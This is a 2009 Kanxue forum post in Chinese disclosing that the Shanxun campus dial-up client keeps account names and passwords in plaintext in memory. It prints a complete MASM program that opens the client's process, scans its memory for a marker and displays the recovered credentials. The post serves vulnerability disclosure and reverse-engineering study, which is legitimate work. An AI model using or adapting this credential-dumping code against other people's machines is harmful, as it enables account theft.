【文章标题】: 剑走偏锋,另辟蹊径获取信息
【下载地址】: 自己搜索下载
【作者声明】: 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!
--------------------------------------------------------------------------------
【详细过程】
现在为了数据的安全,很多软件都使用了杂七杂八的加密算法,有些逆向起来很是不简单。有没有一种简单一点的对付某些软件加密的办法?有!不妨先看一个故事:
某次电台请了一位商界奇才做嘉宾主持,大家都非常希望能听他谈一谈成功之道。但他只是淡淡一笑,说:“还是出道考题考考你们吧”
“某地发现了金矿,人们蜂拥而去,然而一条大河挡住了必经之路,是你,你回怎样做?”
有人说绕道走,有人说游过去。但他却微笑不语。很久,他说:“为什么非得去淘金,为什么不买一条船开展营运?”大家愣然,他却说,“在那样的情况下,即使把渡客们宰的只剩下一条短裤,他们也会心甘情愿。因为前面有金矿啊!”
这和天无绝人之路一个道理。只要用心,只要有心,总能找到解决问题的方法,方法不止一个!
对加密的信息通常我们会锲而不舍的去分析信息的加密算法,有时,仰视天空,很灿烂,侧目而视,眼前亦有大美!
呵呵,扯远了,言归正传。这篇文章要探讨的就是通过不破解加密文件来获取有效信息的一种方法。
我们学校以前用的是电信201卡上网,现在是用浙江电信的闪讯软件上网。据我所知,浙江很多高校现在都是用闪讯软件拨号上网,不知国内其他地区高校现在是何种上网方式
。
问题的发现
曾经一段时间对软件安全很狂热,几乎每天都泡在看雪里,看那些大牛怎样分析,逆向软件的。看得多了就必定会要那么一点想法。有一次我突发奇想,想看一下闪讯的的内存状态(事前已用PEid,OD瞎分析了一下)是怎么样的。于是就用强大的十六进制编辑工具Winhex的内存编辑功能打开了闪讯的内存,结果不看不知道,一看吓死人。
图 闪讯内存状态
那是什么,那就是客户的账号、密码的明码!由此才生了一个警觉。这里要说明的是闪讯登陆界面密码框里字符是无法用侠客密码查看器之类的程序获取的。后来多次对闪讯的内存状态进行测试,每次只要闪讯一连接上,其内存中必定保留着客户的账号、密码的明码这一敏感信息,每次信息的内存的位置是不同的,但是可以将信息锁定在一定得内存范围之内。令人费解的是这么一个泄露信息的漏洞(我姑且把它称为漏洞),从闪讯的第一个版本到当前的所有版本都没有修复。
通过前面的发现,只要闪讯正确连上,那么就可以在闪讯程序的内存轻而易举中找到用户的账号和明码。通过编写程序来获取用户账户和密码是一件及其容易的事情。
图 闪讯账户信息获取程序设计流程
代码放上来,我就不分析代码了,知道原理来写代码就很简单了。
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; NKsearch.asm ; by xuecrack, All Rights Reserverd. ; Code for 闪讯研究,获取闪讯信息 ; Date:2009-09-04 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> .386 .model flat,stdcall option casemap:none ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; Include 文件定义 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> include windows.inc include user32.inc include kernel32.inc includelib user32.lib includelib kernel32.lib ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; 数据段 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> .const szNK db '闪讯',0 szWnClass db '#32770',0 szProc db '闪讯进程打开失败',0 szGetId db '获取信息失败',0 szOK db '恭喜,闪讯密码读取成功',0 szFmt db '账号: %s',0dh,0ah,'密码: %s',0 .data? dwhWn dd ?,0 dwPid dd ?,0 dwhPro dd ?,0 dwRd dd ?,0 dwRData dd ?,0 szUsr db 20 dup (?),0 szKey db 20 dup (?),0 szMsg db 60 dup (?),0 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; 代码段 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> .code start: ;******************************************************************** ; 通过一系列操作搜打开闪讯进程。 ;******************************************************************** invoke FindWindow,offset szWnClass,offset szNK mov dwhWn,eax invoke GetWindowThreadProcessId,dwhWn, offset dwPid invoke OpenProcess,PROCESS_QUERY_INFORMATION or PROCESS_VM_READ ,FALSE,dwPid .if eax == 0 invoke MessageBox,NULL,offset szProc,offset szNK,MB_OK invoke ExitProcess,NULL .endif ;******************************************************************** ; 在闪讯内存中12d500h-140000h中查找闪讯账号标志信息"@DZK"。 ;******************************************************************** mov dwhPro,eax mov dwRd,00130000h .while dwRd <140000h invoke ReadProcessMemory,dwhPro,dwRd,offset dwRData,4,NULL .if dwRData == 4b5a4440h .break .endif inc dwRd .endw ;******************************************************************** ; 如果没有搜索到信息就退出程序。 ;******************************************************************** .if dwRd>=140000h invoke MessageBox,NULL,offset szGetId,offset szNK,MB_OK invoke CloseHandle,dwhPro invoke ExitProcess,NULL .endif ;******************************************************************** ; 处理找到的地址与账号起始地址的关系以及账号起始地址与密码起始地址的关系。 ;******************************************************************** sub dwRd,12 invoke ReadProcessMemory,dwhPro,dwRd, offset szUsr,20,NULL add dwRd,32 invoke ReadProcessMemory,dwhPro,dwRd, offset szKey,20,NULL invoke wsprintf,offset szMsg,offset szFmt, offset szUsr,offset szKey invoke MessageBox,NULL,offset szMsg,offset szOK,MB_OK or MB_ICONINFORMATION invoke CloseHandle,dwhPro invoke ExitProcess,NULL end start
本文主要提供了这么一个思路,解决问题的方法不止一种。当从软件界面,软件加密文件难以破解获取信息时、不妨看看软件运行时的内存状态。当直面难题,觉得无懈可击时不妨换个角度去看问题,也许问题可以迎面而解!
软件安全是一个很重要的概念。如今因信息泄露而引来的问题层出不穷。软件安全现状令人堪忧,Programmer在设计软件时应考虑到软件的安全性。
--------------------------------------------------------------------------------
【版权声明】: 本文原创于看雪技术论坛, 转载请注明作者并保持文章的完整, 谢谢!
2009年09月04日